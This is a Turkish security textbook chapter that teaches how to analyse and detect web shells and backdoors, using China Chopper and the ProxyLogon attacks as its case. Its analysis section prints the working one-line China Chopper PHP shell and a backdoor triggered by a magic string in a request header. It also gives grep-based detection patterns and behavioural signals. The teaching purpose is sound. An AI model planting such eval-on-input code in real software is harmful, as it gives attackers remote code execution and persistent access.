Bölüm 34
Web Shell / Backdoor / Malware Analizi
Bölüm 8 (RCE), Bölüm 11 (deserialization), Bölüm 19 (dosya yükleme), Bölüm 20 (LFI), Bölüm 26 (disablefunctions), Bölüm 27 (yürütme), Bölüm 28 (davranışsal tespit/privesc), Bölüm 30 (backdoor), Bölüm 31 (loglama), Bölüm 32 (müdahale).
Web shell'i, birçok açığın "ödülü" olarak; tehlikeli fonksiyon + güvenilmez girdi bileşimini; magic-string backdoor'ları; ve en önemlisi davranışsal tespiti (web sürecinin alt süreç doğurması) öğreneceksiniz. Bu bölüm savunma ve tespit odaklıdır; silahlaştırılmış shell kodu vermez.
1. Giriş
Bu kitaptaki birçok açık — dosya yükleme (Bölüm 19), LFI/RFI (Bölüm 20), deserialization (Bölüm 11), komut enjeksiyonu (Bölüm 8), tedarik zinciri (Bölüm 30) — sıklıkla aynı "ödülle" sonuçlanır: bir web shell. Web shell, saldırganın web sunucusuna yerleştirdiği, ona uzaktan komut çalıştırma / kontrol veren kötü niyetli bir betiktir. Bir kez yerleştiğinde, ilk açık kapatılsa bile saldırgana süregelen bir erişim (kalıcılık) sağlar; bu yüzden web shell'ler bir saldırının "son aşaması" değil, genellikle daha büyük saldırıların başlangıç noktasıdır (yanal hareket, veri sızdırma, cryptominer, ransomware).
Bu bölüm, web shell'leri ve backdoor'ları analiz etme ve tespit etme becerisini kazandırır. Savunmacı bir perspektiften yazılmıştır: amaç, saldırgana araç vermek değil, savunmacıya bir web shell'i tanıma, analiz etme ve tespit etme yeteneği kazandırmaktır. Bu yüzden işlevsel/silahlaştırılmış shell kodu vermez; bunun yerine mekanizmayı ve — en önemlisi — tespit yöntemlerini işler.
Analiz için kullanacağımız örnek, güvenlik topluluğunda on yıldan uzun süredir belgelenen China Chopper'dır. Onun PHP varyantı, bir web shell'in özünü tek satırda gösterir. China Chopper, 2021'deki ProxyLogon/HAFNIUM Microsoft Exchange saldırılarında (Bölüm 11) on binlerce sunucuya yerleştirilerek kitlesel biçimde kullanıldı — web shell tehdidinin ölçeğinin kanıtı.
2. Temel Teori
Web shell nedir? Web sunucusuna yerleştirilen, web üzerinden erişildiğinde saldırganın komutlarını sunucunun web kullanıcısı (Bölüm 28) yetkisiyle çalıştıran bir betik. İki bileşenli olabilir: sunucudaki küçük payload ve saldırganın kullandığı istemci (GUI/araç).
Bir web shell'in özü — iki bileşen:
1. Tehlikeli bir fonksiyon — kod/komut çalıştıran bir PHP fonksiyonu: eval, assert, system, exec, shell_exec, passthru, popen, proc_open, create_function, geçmişte preg_replace /e değiştiricisi.
2. Güvenilmez bir girdi kaynağı — saldırganın kontrol ettiği veri: $_POST, $_GET, $_REQUEST, $_COOKIE, HTTP başlıkları ($_SERVER['HTTP_...']).
Web shell = tehlikeli fonksiyon + güvenilmez girdi. China Chopper'ın PHP varyantının özü, bir POST parametresini bir eval'e besleyen tek satırlık bir yapıdır (aşağıda analiz edilecek). Bu, saldırganın her istekte istediği PHP kodunu çalıştırmasını sağlar.
Backdoor (arka kapı). Web shell'in daha sinsi akrabası: meşru görünen bir dosyaya gizlenmiş, genellikle bir magic-string (sihirli sabit) tetikleyiciyle aktive olan gizli erişim. Bölüm 30'daki PHP git backdoor'u tam buydu: User-Agentt başlığı zerodium ile başlarsa PHP kodu çalıştıran bir satır. Magic-string, backdoor'u normal kullanımda görünmez kılar.
Neden web sunucuları hedef? İnternete açıktırlar (saldırgan doğrudan çağırabilir) ve çoğu zaman AV/EDR çalıştırmazlar — bu yüzden web shell'ler "kolay ama tespit edilmesi zor" araçlardır.
Tespit — iki yaklaşım:
- Statik (imza/desen): Tehlikeli fonksiyon + girdi kaynağı desenleri (eval($_POST...)), obfuscation (base64/gzinflate zincirleri, yüksek entropi), bilinen imzalar/YARA, dosya bütünlüğü izleme (FIM — web dizininde yeni/değişen dosya). Ama web shell'ler metin-tabanlı olduğundan imza kolayca değiştirilir; statik tek başına yetersizdir.
- Davranışsal (daha sağlam): Web sunucusu sürecinin (php-fpm/apache/w3wp) beklenmedik alt süreçler doğurması (Bölüm 28) — bir web sürecinin sh/bash/cmd çalıştırması güçlü bir web shell işaretidir; beklenmedik giden bağlantılar; anormal istekler (magic-string, base64 parametreler). China Chopper tespitinin anahtarı, komutların web işçi sürecinden (ör. w3wp.exe/php-fpm) çalışmasıdır.
3. Mimarisel Bakış
WEB SHELL'İN ÖZÜ:
[ Güvenilmez girdi ] → [ Tehlikeli fonksiyon ] → kod/komut çalışır
$_POST/$_GET/ eval/assert/system/ (web kullanıcısı
header/cookie exec/shell_exec yetkisiyle — Böl.28)
NASIL YERLEŞİR (birçok açığın "ödülü"):
Dosya yükleme (Böl.19) / LFI (Böl.20) / RCE (Böl.8) /
deserialization (Böl.11) / tedarik zinciri (Böl.30)
↓
web shell / backdoor sunucuya düşer
↓
Kalıcılık → yanal hareket → privesc (Böl.28) → veri sızdırma / ransomware
TESPİT:
STATİK: grep(eval+$_POST) · obfuscation/entropi · YARA · FIM (yeni .php)
DAVRANIŞSAL (sağlam): web süreci (php-fpm) → sh/bash alt süreç (Böl.28)
· beklenmedik giden bağlantı · magic-string istek
LOG (Böl.31): olağandışı .php'ye POST · base64/encoded parametre
BACKDOOR: meşru dosyada gizli + magic-string tetikleyici (Böl.30 "zerodium")
Kritik gözlem: web shell'in özü "tehlikeli fonksiyon + güvenilmez girdi"dir; en sağlam tespit davranışsaldır (web sürecinin alt süreç doğurması).
4. Güvensiz Kod (Analiz Nesnesi)
Aşağıdaki, güvenlik literatüründe on yıldır belgelenen China Chopper PHP varyantının özü — bir web shell'i tanımak için analiz edilir (silahlaştırılmış/genişletilmiş biçim verilmez):
<?php
// ⚠️ WEB SHELL (analiz nesnesi) — China Chopper PHP özü
@eval($_POST['pass']); // güvenilmez girdi ($_POST) → tehlikeli fonksiyon (eval)
Bu tek satır, bir web shell'in özünü gösterir:
- $_POST['pass'] — Güvenilmez girdi kaynağı; saldırgan her istekte istediği PHP kodunu buraya koyar.
- eval(...) — Tehlikeli fonksiyon; verilen dizeyi PHP olarak çalıştırır.
- @ — Hata bastırma; shell'in sessiz çalışmasını sağlar (bir gizlenme işareti).
Backdoor varyantı (Bölüm 30 kalıbı) — meşru bir dosyaya gizlenmiş, magic-string tetikleyicili:
// ⚠️ BACKDOOR (analiz nesnesi) — magic-string tetikleyici (Bölüm 30)
if (str_starts_with($_SERVER['HTTP_USER_AGENTT'] ?? '', 'MAGIC')) { // gizli tetikleyici
eval(substr($_SERVER['HTTP_USER_AGENTT'], 5)); // başlıktan kod
}
5. Açığın Analizi
@eval($_POST['pass']) — web shell özü. Üç öğe bir araya gelir: (1) güvenilmez girdi ($_POST['pass'] — saldırgan kontrollü), (2) tehlikeli fonksiyon (eval — dizeyi PHP olarak çalıştırır), (3) gizlenme (@ — hataları bastırır). Sonuç: saldırgan, her POST isteğinde istediği PHP kodunu web kullanıcısı (Bölüm 28) yetkisiyle çalıştırır — tam RCE ve süregelen kontrol. İstemci tarafında (tarayıcıda "kaynağı görüntüle") hiçbir şey görünmez, çünkü tüm kod sunucu tarafındadır — bu, statik/görsel tespiti zorlaştırır.
Magic-string backdoor. İkinci örnek daha sinsidir: kod, meşru bir dosyaya gizlenmiştir ve yalnızca belirli bir sihirli dize (MAGIC/zerodium) bir başlıkta göründüğünde aktive olur. Normal kullanımda (ve çoğu incelemede) görünmez kalır; yalnızca saldırgan tetikleyiciyi bildiğinden erişebilir. Bölüm 30'daki PHP git backdoor'u tam bu kalıptı.
Neden tehlikeli fonksiyon + girdi bileşimi kök nedendir. Bu bölümün tanıdığı desen, kitabın merkezî temasının (Bölüm 1) bir örneğidir: güvenilmez veri, onu çalıştırabilecek bir bağlama (kod-yorumlayıcı fonksiyon) doğrulama olmadan ulaşıyor. Web shell, bu bileşimin en saf hâlidir. Bu yüzden savunma iki yönlüdür: (a) web shell'in yerleşmesini önle (upload/LFI/RCE/tedarik zinciri açıklarını kapat), (b) yerleşse bile çalışmasını/tespitini ele al (yürütme kısıtı — Bölüm 27, davranışsal tespit).
Kök sorun: tehlikeli fonksiyon + güvenilmez girdi bileşimi, bir kez sunucuya düştüğünde RCE ve kalıcılık verir. Çözüm: yerleşmeyi önle + yürütmeyi kısıtla + davranışsal tespit + doğru müdahale.
6. Hacker Bakış Açısı
Saldırgan web shell'i nasıl kullanır?
Yerleştirir. Bir açıktan (dosya yükleme Bölüm 19, LFI Bölüm 20, RCE Bölüm 8, deserialization Bölüm 11, tedarik zinciri Bölüm 30) yararlanarak web shell'i web-erişilebilir, PHP çalışan bir dizine (Bölüm 27) düşürür. ProxyLogon'da bu, bir keyfi-dosya-yazma açığıyla ASPX sayfalarına China Chopper enjekte etmekti.
Küçük ve gizli tutar. Tek satırlık, meşru dosya adlarıyla (Customize.aspx, security.php) karışan, obfuscate edilmiş bir payload kullanır. İstemci tarafında hiçbir iz bırakmaz (tüm kod sunucuda).
Kalıcılık kurar. Birden fazla web shell/backdoor bırakır; birine magic-string (Bölüm 30) ekler. İlk açık kapatılsa bile erişimini korur — bu yüzden savunmacı tüm kalıcılığı bulmalıdır (Bölüm 32).
Genişletir. Web shell'den: sistem keşfi (id, whoami), yanal hareket, yetki yükseltme (Bölüm 28 — PwnKit), veri sızdırma, ek araç yükleme, cryptominer/ransomware. Web shell bir başlangıçtır.
Tespitten kaçar. İmzaları değiştirir (metin-tabanlı olduğundan MD5 kolayca değişir), obfuscation ekler, magic-string kullanır, ve AV/EDR çalıştırmayan web sunucularını hedefler.
Savunmacı dersi: Saldırgan web shell'i, açığın "ödülü" ve kalıcı bir dayanak olarak görür. İmza-tabanlı tespitten kaçabilir; bu yüzden savunma davranışsal olmalı (web sürecinin alt süreç doğurması) ve yerleşmeyi önlemeye odaklanmalıdır.
7. Exploit Mantığı
Bu bölüm işlevsel web shell içermez. Web shell'lerin neden bu kadar tehlikeli olduğu kavramsaldır:
- Açığın ödülü + kalıcılık. Web shell, birçok farklı açığın ortak sonucudur ve bir kez yerleştiğinde ilk açık kapatılsa bile erişim sağlar. Bu, onu tek seferlik bir istismardan çok daha değerli kılar.
- Başlangıç, son değil. Web shell genellikle daha büyük saldırıların (yanal hareket, privesc, veri sızdırma, ransomware) başlangıcıdır. ProxyLogon'da web shell'ler cryptominer/ransomware/botnet'e zincirlendi.
- Tespitten kaçınma. Metin-tabanlı ve değiştirilebilir olduğundan imza-tabanlı tespit zayıftır; AV/EDR'siz web sunucuları hedeftir. Bu, davranışsal tespiti (web sürecinin alt süreç doğurması) zorunlu kılar.
- Gizlilik (backdoor). Magic-string tetikleyicili backdoor'lar, meşru dosyalara gizlenip normal incelemeden kaçar; yalnızca dikkatli kod incelemesi (Bölüm 30) ve davranışsal tespit yakalar.
Savunmacının çerçevesi: (a) web shell'in yerleşmesini önle (upload/LFI/RCE/tedarik zinciri), (b) yerleşse bile çalışmasını kısıtla (Bölüm 27), (c) davranışsal tespit et (alt süreç), (d) doğru müdahale et (kök neden + tüm kalıcılık — Bölüm 32).
8. Güvenli Kod (Önleme ve Tespit)
Web shell'e karşı savunma, önceki bölümlerin sentezidir — önleme + tespit:
<?php
// ✅ ÖNLEME: tehlikeli fonksiyon + güvenilmez girdi bileşimini ASLA kurma
declare(strict_types=1);
// eval/assert/system/... + $_POST/$_GET bileşimi YOK.
// Dinamik kod çalıştırma gerekmez; gerekiyorsa katı beyaz liste (Bölüm 8).
// php.ini (Bölüm 26): RCE yüzeyini daralt (derinlemesine savunma)
// disable_functions = exec,system,shell_exec,passthru,proc_open,popen,eval*...
// (*eval bir dil yapısıdır; disable_functions ile kapatılamaz → kod incelemesi şart)
Tespit — statik tarama (kod incelemesi / FIM):
# ✅ STATİK TESPİT: tehlikeli fonksiyon + girdi kaynağı bileşimi
grep -rnE '(eval|assert|system|exec|shell_exec|passthru|proc_open|popen)\s*\(' webroot/ \
| grep -iE '\$_(POST|GET|REQUEST|COOKIE|SERVER)' # web shell deseni
grep -rnE 'base64_decode|gzinflate|str_rot13|gzuncompress' webroot/ # obfuscation zinciri
grep -rniE 'HTTP_USER_AGENT|HTTP_[A-Z_]+' webroot/ | grep -iE 'eval|system' # magic-string backdoor
# FIM: web dizininde yeni/değişen dosyalar (Bölüm 28, 32)
find webroot/ -name '*.php' -newermt '-1 day' # son 24 saatte değişen
# + web dizini web kullanıcısınca YAZILAMAZ olmalı (Bölüm 28) → yeni .php düşemez
Tespit — davranışsal (en sağlam) ve log (Bölüm 31):
# ✅ DAVRANIŞSAL TESPİT (en güçlü sinyal):
- Web sürecinin (php-fpm/apache/w3wp) ALT SÜREÇ doğurması:
php-fpm → sh/bash/id/whoami/curl → güçlü web shell işareti (Bölüm 28)
- Web sürecinden beklenmedik GİDEN bağlantılar (C2, veri sızdırma)
- Yetki yükseltme denemeleri (www-data → root — Bölüm 28)
# ✅ LOG/SIEM (Bölüm 31):
- Olağandışı/yeni bir .php dosyasına POST istekleri
- base64/encoded parametreler; magic-string istekler (ör. tetikleyici dizeler)
- Yükleme dizinindeki .php'ye doğrudan erişim (Bölüm 19, 27)
Öne çıkan modern pratikler (önceki bölümlerin sentezi):
- Yerleşmeyi önle: Dosya yükleme (Bölüm 19), LFI (Bölüm 20), RCE (Bölüm 8), deserialization (Bölüm 11), tedarik zinciri (Bölüm 30) açıklarını kapat.
- Yürütmeyi kısıtla (Bölüm 27): Yükleme dizininde PHP çalışmasın; security.limit_extensions=.php (Bölüm 26).
- Kod web kullanıcısınca yazılamaz (Bölüm 28): Web shell düşemez/kalıcı olamaz.
- RCE yüzeyini daralt (Bölüm 26): disable_functions (derinlemesine savunma; eval dil yapısı olduğundan kod incelemesi de şart).
- Statik tespit: Tehlikeli fonksiyon + girdi deseni, obfuscation, magic-string; FIM (yeni .php).
- Davranışsal tespit (en sağlam): Web sürecinin alt süreç doğurması (Bölüm 28), giden bağlantı, privesc.
- Log/SIEM (Bölüm 31): Anormal POST/encoded/magic-string istekler.
- Doğru müdahale (Bölüm 32): Sadece silme; kök neden + tüm kalıcılık + kimlik rotasyonu (Bölüm 25).
9. Patch Analizi
Neden işe yarar? Web shell savunması iki cephelidir. Önleme cephesi: web shell'in yerleşmesini sağlayan açıkları (upload/LFI/RCE/deserialization/tedarik zinciri) kapatmak, ve yerleşse bile çalışmasını engellemek (yürütme kısıtı Bölüm 27, kod-yazılamazlık Bölüm 28). Tespit cephesi: statik (desen/FIM) yakalanabilirliği düşük olduğundan, davranışsal tespit (web sürecinin alt süreç doğurması) belirleyicidir — çünkü bir web sürecinin sh/bash çalıştırması normal değildir ve obfuscation'dan etkilenmez. Doğru müdahale (Bölüm 32), kök nedeni ve tüm kalıcılığı giderir.
Tespit yöntemi karşılaştırması:
| Yöntem | Güç | Zayıflık |
|---|---|---|
| İmza (MD5/desen) | Bilinenleri yakalar | Metin-tabanlı → kolay değişir |
| Statik (fonksiyon+girdi) | Yaygın desenleri yakalar | Obfuscation/magic-string atlatır |
| FIM (yeni/değişen .php) | Yerleşmeyi yakalar | Meşru değişimle karışabilir |
| Davranışsal (alt süreç) | Obfuscation'dan bağımsız | Runtime izleme gerekir |
| Log/SIEM (anormal istek) | Kullanımı yakalar | İyi loglama gerekir (Bölüm 31) |
En sağlam tek sinyal davranışsaldır: web sunucusu süreci normalde bir kabuk (shell) doğurmaz. ProxyLogon'da China Chopper tespitinin anahtarı, komutların web işçi sürecinden (w3wp.exe) çalışmasıydı — aynı ilke PHP'de php-fpm/apache için geçerlidir.
Neden disable_functions yetmez: eval bir dil yapısıdır (fonksiyon değil) ve disable_functions ile kapatılamaz. Bu yüzden disable_functions (Bölüm 26) RCE yüzeyini daraltsa da, eval-tabanlı web shell'lere karşı kod incelemesi ve davranışsal tespit şarttır — derinlemesine savunma (Bölüm 1).
Performans: Statik tarama ve FIM periyodik çalışır; davranışsal izleme (EDR/Falco benzeri) küçük bir ek yük getirir ama tespit değeri çok yüksektir.
10. Gerçek Hayat Senaryosu
Kurgu — bir haber sitesi. Bir dosya yükleme açığından (Bölüm 19) yararlanan saldırgan, geçerli bir görüntüye gömülü PHP içeren bir web shell'i /uploads/'a düşürüyor; nginx yanlış yapılandırması (Bölüm 27) bunu PHP olarak çalıştırıyor. Saldırgan web shell'den sistem keşfi yapıp yamasız pkexec ile root'a yükseliyor (Bölüm 28, PwnKit) ve bir de magic-string backdoor (Bölüm 30) bırakıyor. Site ekibi web shell'i fark edip sadece siliyor — ama kök nedeni (upload açığı) ve gizli backdoor'u bulmadığından saldırgan geri dönüyor (Bölüm 32). Doğru yaklaşım: davranışsal tespit (php-fpm'in sh doğurması) → erken alarm; müdahalede kök neden (upload açığı) + tüm kalıcılık (web shell + backdoor) + kimlik rotasyonu (Bölüm 25) + yürütme kısıtı (Bölüm 27) + kod-yazılamazlık (Bölüm 28). Dersler: (1) web shell açığın ödülüdür — yerleşmeyi önle; (2) davranışsal tespit obfuscation'ı aşar; (3) sadece silme yetmez, kök neden + tüm kalıcılık (Bölüm 32).
11. Gerçek Vaka Analizi — China Chopper & ProxyLogon (2021)
FireEye/Mandiant "The Little Malware That Could", Palo Alto Unit 42, Trustwave, Trend Micro ve Microsoft ProxyLogon analizleriyle doğrulanmıştır. Web shell tehdidinin ders kitabı vakasıdır.
Özet. China Chopper, güvenlik topluluğunda 2012'den beri belgelenen, minik ve çok yönlü bir web shell'dir. 2021'de, Microsoft Exchange Server'daki ProxyLogon sıfır-gün açıkları (CVE-2021-26855 vd.) HAFNIUM ve diğer gruplarca sömürüldüğünde, on binlerce Exchange sunucusuna China Chopper yerleştirildi — web shell tehdidinin ölçeğinin çarpıcı bir kanıtı.
Teknik analiz — bir web shell'in özü. China Chopper iki bileşenlidir: saldırganın kullandığı bir istemci (GUI) ve sunucudaki minik bir payload. Payload birçok dilde (ASP, ASPX, PHP, JSP, CFM) mevcuttur ve tipik olarak tek satırdır. FireEye'ın 2013 analizinde belgelenen PHP varyantının özü, bir POST parametresini eval'e besleyen bir yapıdır — yani "güvenilmez girdi + tehlikeli fonksiyon" biçiminin en saf hâli. ASPX varyantı eval(Request[...],"unsafe") biçimindeydi. Bir "anahtar" (parola) istemci tarafından kimlik doğrulama olarak sağlanır. Kritik gözlem: istemci tarafında (tarayıcıda kaynağı görüntüleme) hiçbir şey görünmez, çünkü tüm kod sunucu tarafıdır — bu, görsel/istemci-tabanlı tespiti işe yaramaz kılar.
Neden tespit edilmesi zor, ama davranışsal olarak yakalanabilir. China Chopper metin-tabanlı olduğundan MD5/imza kolayca değişir; bu yüzden imza-tabanlı tespit zayıftır. Ama araştırmacıların (Cynet, Trustwave) vurguladığı kilit tespit sinyali davranışsaldır: China Chopper komutları web işçi sürecinden (IIS'te w3wp.exe) çalışır ve bu süreç normalde alt süreçler (komutlar) doğurmaz. Web işçi sürecinin komut satırı çocuklarını izlemek (ve China Chopper'ın karakteristik komut desenlerini aramak), obfuscation'dan bağımsız güçlü bir tespit sağlar. Aynı ilke PHP'de php-fpm/apache süreçleri için geçerlidir (Bölüm 28): web sürecinin bir kabuk doğurması güçlü bir web shell işaretidir. Ayrıca web sunucuları AV/EDR çalıştırmadığından çekici hedeflerdir.
ProxyLogon zinciri. Saldırganlar bir keyfi-dosya-yazma açığıyla (CVE-2021-27065) ASPX sayfalarına China Chopper enjekte etti; web shell'den tam RCE, kalıcılık, yanal hareket ve veri sızdırma yaptı. Web shell'ler ayrıca cryptominer (LemonDuck), ransomware (BlackKingdom) ve botnet (Prometei) yüklemeye zincirlendi — web shell'in bir başlangıç olduğunun kanıtı.
Çıkarılacak dersler: 1. Web shell açığın ödülüdür. Yerleşmesini sağlayan açıkları (upload/LFI/RCE) kapatmak birincil savunmadır (Bölüm 19, 20, 8). 2. İmza-tabanlı tespit zayıftır; davranışsal tespit güçlüdür. Web sürecinin alt süreç doğurması (Bölüm 28), obfuscation'ı aşan en sağlam sinyaldir. 3. Web shell bir başlangıçtır. Kalıcılık, privesc (Bölüm 28), yanal hareket, ransomware'e zincirlenir; müdahale kök nedeni ve tüm kalıcılığı gidermelidir (Bölüm 32). 4. Web sunucuları izlenmeli. AV/EDR'siz oldukları için özel davranışsal izleme (Bölüm 31) gerekir.
12. Detection
Statik (kod/dosya):
# Tehlikeli fonksiyon + güvenilmez girdi bileşimi
grep -rnE '(eval|assert|system|exec|shell_exec|passthru|proc_open|popen|create_function)\s*\(' webroot/ \
| grep -iE '\$_(POST|GET|REQUEST|COOKIE|SERVER)'
# Obfuscation zincirleri
grep -rnE 'base64_decode|gzinflate|gzuncompress|str_rot13|\\\\x[0-9a-f]{2}' webroot/
# Magic-string backdoor (başlık-tetikleyici)
grep -rniE 'HTTP_[A-Z_]+' webroot/ | grep -iE 'eval|assert|system'
# FIM: yeni/değişen .php (Bölüm 28, 32)
find webroot/ -name '*.php' -newermt '-1 day'
Not: Metin-tabanlı olduğundan statik tespit atlatılabilir; YARA kuralları ve entropi analizi yardımcı olur ama yeterli değildir.
Davranışsal (en sağlam): Web sürecinin (php-fpm/apache2/w3wp) alt süreç doğurması (sh/bash/id/whoami/curl/wget) — güçlü web shell işareti (Bölüm 28); beklenmedik giden bağlantılar; yetki yükseltme. EDR / Falco / auditd ile izlenir.
Log/SIEM (Bölüm 31): Olağandışı/yeni .php'ye POST; base64/encoded parametreler; magic-string istekler; yükleme dizinindeki .php'ye doğrudan erişim (Bölüm 19, 27).
Bütünlük (FIM): Web dizinindeki değişimler; ideal olarak kod web kullanıcısınca yazılamaz olmalı (Bölüm 28) — yeni .php düşemez.
13. Prevention
- Yerleşmeyi önle: Dosya yükleme (Bölüm 19), LFI/RFI (Bölüm 20), RCE (Bölüm 8), deserialization (Bölüm 11), tedarik zinciri (Bölüm 30) açıklarını kapat.
- Yürütmeyi kısıtla (Bölüm 27): Yükleme dizininde PHP çalışmasın;
security.limit_extensions=.php(Bölüm 26). - Kod web kullanıcısınca yazılamaz (Bölüm 28): Web shell düşemez/kalıcı olamaz.
- RCE yüzeyini daralt (Bölüm 26):
disable_functions; amaevaliçin kod incelemesi şart. - Tehlikeli fonksiyon + girdi bileşimini asla kurma: Kod incelemesi + SAST.
- Davranışsal izleme (Bölüm 31): Web sürecinin alt süreç doğurması; FIM.
- Doğru müdahale (Bölüm 32): Kök neden + tüm kalıcılık + kimlik rotasyonu (Bölüm 25).
14. Mitigation
- Acil: Web shell/backdoor'u silmeden önce kanıt koru (Bölüm 32); davranışsal izlemeyle aktif shell'leri tespit et; yürütme kısıtı (Bölüm 27) uygula.
- Geçici: Kök nedeni (upload/LFI/RCE) belirle ve gider; tüm kalıcılığı (web shell + magic-string backdoor) bul (Bölüm 30, 32); sızmış kimlikleri döndür (Bölüm 25); privesc olduysa sistemi ele geçirilmiş say (Bölüm 28).
- Kalıcı: Yerleşme-önleme (Bölüm 19/20/8) + yürütme kısıtı (Bölüm 27) + kod-yazılamazlık (Bölüm 28) + davranışsal izleme (Bölüm 31) + SAST'ı standartlaştır; IR planına web shell senaryosunu ekle (Bölüm 32).
15. Checklist
- [ ] Tehlikeli fonksiyon (
eval/system/...) + güvenilmez girdi ($_POST/...) bileşimi kodda yok mu? - [ ] Web shell'in yerleşmesini sağlayan açıklar (upload/LFI/RCE/deserialization/tedarik zinciri) kapalı mı?
- [ ] Yükleme dizininde PHP yürütme kapalı mı (Bölüm 27) ve
security.limit_extensions=.phpmi (Bölüm 26)? - [ ] Kod web kullanıcısınca yazılamaz mı (Bölüm 28 — web shell düşemez)?
- [ ]
disable_functionsile RCE yüzeyi daraltıldı mı (evaliçin kod incelemesi de var mı)? - [ ] Statik tarama (fonksiyon+girdi, obfuscation, magic-string) ve FIM çalışıyor mu?
- [ ] Davranışsal tespit var mı (web sürecinin alt süreç doğurması — Bölüm 28)?
- [ ] Log/SIEM anormal POST/encoded/magic-string istekleri yakalıyor mu (Bölüm 31)?
- [ ] Müdahale kök neden + tüm kalıcılığı gideriyor mu (sadece silme değil — Bölüm 32)?
16. Laboratuvar
Lab 34.1 — Web shell anatomisi. İzole ortamda China Chopper PHP özünü (@eval($_POST[...])) analiz et: girdi kaynağını, tehlikeli fonksiyonu ve gizlenme öğesini (@) tanı. İstemci tarafında neden görünmediğini açıkla.
Lab 34.2 — Statik tespit. Bir kod tabanında tehlikeli fonksiyon + girdi bileşimini ve obfuscation zincirlerini grep/YARA ile ara; sonra basit bir obfuscation'ın statik tespiti nasıl atlattığını gözlemle.
Lab 34.3 — Davranışsal tespit (en önemli). İzole ortamda web sürecinin (php-fpm) bir alt süreç (sh) doğurmasını (auditd/Falco benzeri) yakala; bunun neden obfuscation'dan bağımsız güçlü bir sinyal olduğunu (Bölüm 28) yaz.
Lab 34.4 — Magic-string backdoor. Meşru görünen bir dosyaya gizlenmiş, başlık-tetikleyicili bir backdoor'u (Bölüm 30 kalıbı) kod incelemesinde tanı; magic-string'in normal incelemeden nasıl kaçtığını açıkla.
17. Quiz
- Web shell nedir ve neden birçok açığın "ödülü"dür?
- Bir web shell'in özündeki iki bileşen nedir?
- China Chopper PHP özünü (
@eval($_POST[...])) öğe öğe analiz edin (@,eval,$_POST). - İstemci tarafında (tarayıcıda) web shell neden görünmez?
- Magic-string backdoor nedir ve normal incelemeden nasıl kaçar (Bölüm 30)?
- İmza-tabanlı tespit neden zayıftır (web shell'ler için)?
- En sağlam tespit sinyali nedir ve neden obfuscation'dan bağımsızdır (Bölüm 28)?
- Neden
disable_functionseval-tabanlı web shell'e karşı yetmez? - Web shell'in "yerleşmesini" hangi açıklar sağlar? (En az dört)
- Kod dizininin web kullanıcısınca yazılamaz olması (Bölüm 28) neyi önler?
- ProxyLogon'da China Chopper nasıl yerleştirildi ve neye zincirlendi?
- Bir web shell bulunduğunda neden "sadece silmek" yetmez (Bölüm 32)?
18. Kaynakça
- FireEye/Mandiant, The Little Malware That Could: Detecting and Defeating the China Chopper Web Shell (2013); Palo Alto Unit 42, Analyzing Attacks Against Exchange with China Chopper.
- Trustwave, HAFNIUM, China Chopper and ASP.NET Runtime; Cynet, China Chopper Observed in MS Exchange Attacks; Trend Micro, ProxyLogon coinminer/ransomware/botnet.
- MITRE ATT&CK, T1505.003 Server Software Component: Web Shell; CISA/NSA, Detect and Prevent Web Shell Malware.
- MITRE, CWE-95 (Improper Neutralization of Directives — eval Injection); CWE-506 (Embedded Malicious Code); CWE-434 (Unrestricted Upload).
- PHP Manual,
eval,assert,disable_functions(Bölüm 26); Falco/auditd davranışsal izleme dokümantasyonu.